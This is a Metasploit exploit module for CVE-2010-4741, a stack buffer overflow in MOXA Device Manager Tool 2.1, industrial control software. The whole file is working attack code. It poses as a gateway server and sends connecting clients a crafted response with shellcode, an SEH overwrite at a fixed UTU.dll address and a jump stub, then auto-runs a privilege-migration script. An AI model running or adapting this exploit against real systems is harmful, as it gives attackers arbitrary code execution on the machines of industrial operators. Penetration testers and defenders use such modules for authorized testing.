MOXA Device Manager Tool 2.1 – Remote Buffer Overflow (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::TcpServer include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'MOXA Device Manager Tool 2.1 Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in MOXA MDM Tool 2.1. When sending a specially crafted MDMGw (MDM2_Gateway) response, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'Ruben Santamarta', 'MC' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2010-4741'], [ 'OSVDB', '69027'], [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ], [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-301-01A.pdf' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me... ], 'Privileged' => false, 'DisclosureDate' => 'Oct 20 2010', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ]) ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) client.get_once sploit = rand_text_alpha_upper(18024) sploit[0, 4] = [0x29001028].pack('V') sploit[472, payload.encoded.length] = payload.encoded sploit[1072, 8] = generate_seh_record(target.ret) sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string client.put(sploit) handler(client) service.close_client(client) end end |